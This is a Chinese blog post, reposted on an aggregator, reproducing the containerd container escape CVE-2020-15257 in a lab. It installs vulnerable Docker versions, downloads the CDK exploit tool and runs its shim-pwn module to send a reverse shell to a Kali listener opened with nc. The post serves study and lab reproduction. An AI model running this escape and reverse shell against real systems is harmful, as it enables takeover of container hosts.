Docker 容器逃逸漏洞(CVE-2020-15257)复现

Posted 天问_Herbert555

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Docker 容器逃逸漏洞(CVE-2020-15257)复现相关的知识,希望对你有一定的参考价值。

环境准备(安装docker)

这里我使用的新安装的ubuntu安装一个docker复现漏洞,然后用同网段的kali接收shell

首先给ubuntu换源(换过了就不用换了)

vim /etc/apt/sources.list

#添加源
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

#然后执行
sudo apt-get update

#报错如下
Err:1 http://mirrors.ustc.edu.cn/kali kali-rolling InRelease                   
  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY ED444FF07D8D0BF6

# 把这个公钥添加到服务器就行了
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED444FF07D8D0BF6

#然后执行
sudo apt-get update

安装有漏洞的docker版本

sudo apt-get install ca-certificates curl software-properties-common
# 添加官方GPG密钥,这一步可能需要root用户执行,ubuntu执行,sudo passwd root 然后su root即可
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
# 设置稳定的存储库
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
# 安装指定版本的docker
sudo apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

此时查看containerd版本

docker version

漏洞影响版本
containerd < 1.4.3
containerd < 1.3.9

漏洞复现

下载一个容器,docker换源

docker pull ubuntu:18.04

通过--net=host 作为启动参数来运行并进入一个容器:

sudo docker run -itd --net=host ubuntu:18.04 /bin/bash

进入容器

sudo docker exec -it <容器id> /bin/bash

接着在容器内执行

cat /proc/net/unix|grep -a "containerd-shim"

可看到抽象命名空间Unix域套接字

Poc地址,https://github.com/Xyntax/CDK/releases/tag/0.1.6

下载exp并实现反弹shell,实现docker逃逸

wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz
./cdk_linux_amd64 run shim-pwn 192.168.170.139 6666

kali开启监听

nc -lvnp 6666

成功实现逃逸获取主机shell

以上是关于Docker 容器逃逸漏洞(CVE-2020-15257)复现的主要内容,如果未能解决你的问题,请参考以下文章

22岁精神小伙居然利用 Linux 内核漏洞实现 Docker 逃逸!!

22岁精神小伙居然利用 Linux 内核漏洞实现 Docker 逃逸

新近爆出的runC容器逃逸漏洞,用户如何面对?

docker逃逸总结

linux12运维企业实战笔录 -- 02 docker runc漏洞修复

linux12运维企业实战笔录 -- 02 docker runc漏洞修复